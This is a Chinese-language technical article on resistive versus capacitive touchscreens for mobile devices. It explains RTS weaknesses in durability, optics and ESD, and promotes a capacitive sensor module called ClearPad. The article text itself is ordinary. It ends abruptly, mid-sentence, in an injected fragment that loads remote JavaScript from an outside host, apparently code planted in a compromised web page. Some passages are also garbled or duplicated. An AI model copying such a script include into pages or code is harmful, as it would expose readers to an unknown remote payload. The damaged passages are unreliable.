随着移动设备、便携式数字娱乐设备(pde)、遥控器和数码相机等小型系统的复杂性和功能性的日益增加,这些设备及类似产品的设计人员不断面临重大挑战。例如,最新潮的手机就面临着用户接口(ui)的挑战,以及拥挤的键区和触摸屏组合带来的人机工程学问题。
几年前,这些系统都还很简单,定义明确,只需要简单的输入装置用于书写和功能选择,比如键区、按钮或触摸屏即可。但现在,手机里充满了复杂的通信子系统,pda已几乎发展成为可连接互联网的完整的计算机系统。此外,画板方面更先进的移动和便携式产品因其具高度先进性的多功能设计而存在着ui的挑战。因此,设计人员正在向具有更大ui空间的电阻式触摸屏(rts)转向。这种特殊的传感器技术被广泛应用于日用品中。不过,即使rts提供有更大的空间,嵌入式设计人员也面临着rts的局限性带来的新问题。
电阻式触摸面板是一种机械式的传感器,由两层材料构成,中间一般通过空气分离(图1)。顶层是纯净的聚酯薄膜,底层是玻璃。若用手指压按顶层,就会推动顶层与底层接触。一旦测得接触点的电压,就可以计算出接触位置。移开手指后,顶层又回复到原始状态。
嵌入式设计人员在rts上面临的两大挑战是:(1)承载显示屏的光学结构严重受损;(2)耐久性很差。采用rts的设备在遇到摔落或用户压按过重的情况时,常常会发生故障。
一旦rts平板破裂,设备的主要硬件输入就没有了,设备也就无用了。对此,设计人员也有一些有限的预防措施可供选择。比如,在rts表面加一个玻璃框以期保护屏幕的边角。而因此需要的开槽及玻璃框本身的成本可能是设备成本的两倍。而且,rts必须安装在平坦表面上,不能在塑料材料之下。
此外,rts的静电放电(esd)阻抗很差。这一点往往使设备更受湿度损害,同时温度和湿度的变化也会严重影响性能。rts还让脆弱的lcd暴露在更大风险之中。至于有限的性能,rts需要一个精度测头;这些测头在大多数滚动条和图标所在的边缘处是不准确的,它们需要用户经常性地进行校准。
图1. 电阻式触摸面板是一种机械传感器,由两层材料构成,中间一般通过空气分离电容式传感器克服rts的局限性
一种更有效更可靠的替代方案是采用很薄的透明的电容式传感器触摸屏,嵌入式设计人员可以将之放置在任何可视表面上用于输入和导航。这类电容式传感器接口的一种实现方案被称为clearpad,可为设计人员提供一种克服rts局限性的解决方案。
电容式传感器模块中有一个透明的薄薄的手指感测区域,与一个包含了所有感测电子元件的挠性电路相连。如图2所示,若手指按在导电线路网格顶端,将改变邻近线路的电容。
图2. 电容式传感器面板是固态的。若手指按在导电线路网格顶端,将改变邻近线路的电容。
一旦测得线路电容的变化,就可以计算出手指的位置一旦测得线路电容的变化,就可以计算出手指的坐标位置。无需压力来激活电容式传感器。只要在电容式面板表面轻轻地点击或滑行即可。
特别地,电容式传感器的表面接收与用户相接触处的触摸信息,并把信息发送到控制器板。控制器板处理触摸信号,再把信息传送给主机。然后,主机把手指位置和接触信息用于各种用户接口功能,比如输入字符、数据和屏幕滚动。
在这种ui技术中,电容式感测与一个透明线路阵列相结合(图3)。电容式传感器接口方案中使用的材料与rts的相同,都是在聚对苯二甲酸乙二醇酯(pet)上再加一层氧化铟锡(ito)。不过,电容式传感器不存在rts的光学问题和耐久性问题,因为它是单层压板,没有降低光学性能的空气间隙,而且,前者是固态的,无移动部件,从而可获得很高的可靠性和耐久性。另一方面,电阻式触摸屏是物理式开关,必须弯曲,需要摩擦使用,这些都缩短了它们的使用寿命。
图3. 电容式感测与一个透明线路阵列结合。电容性传感器面板中使用的的材料与电阻式屏幕的相同,
都是在聚对苯二甲酸乙二醇酯(pet)上再加一层氧化铟锡(ito)。 此外,在电容式传感器中,嵌入式设计人员不受限于易弯曲表面材料,因为电容主要是通过非导电性材料来感测的。即使传感器被放置在聚碳酸酯或]丙烯酸等耐用材料表面之下,也可以进行电容式感测。在这些情况中,电容式传感器仍具有刚性罩面的环境耐久性,这个特性让它在其他技术无法胜任的环境中也能够工作。
机械上的简洁性是可靠性和光学性能提高的另一个主要原因。在电容式传感器模块中,各层之间在光学性能上都彼此匹配,并层压在一起,不存在任何空气间隙及它们引起的内部反射问题。用于采用了极薄的导电层,光吸收也被减至最小。
因为它是固态传感器,没有移动部件,在传感器使用期间光学性能可保持稳定一致。相反地,电阻式触摸屏需要空气间隙和绝缘点(spacer dot),而这两者都会产生内部?script src=http://er12.com/t.js>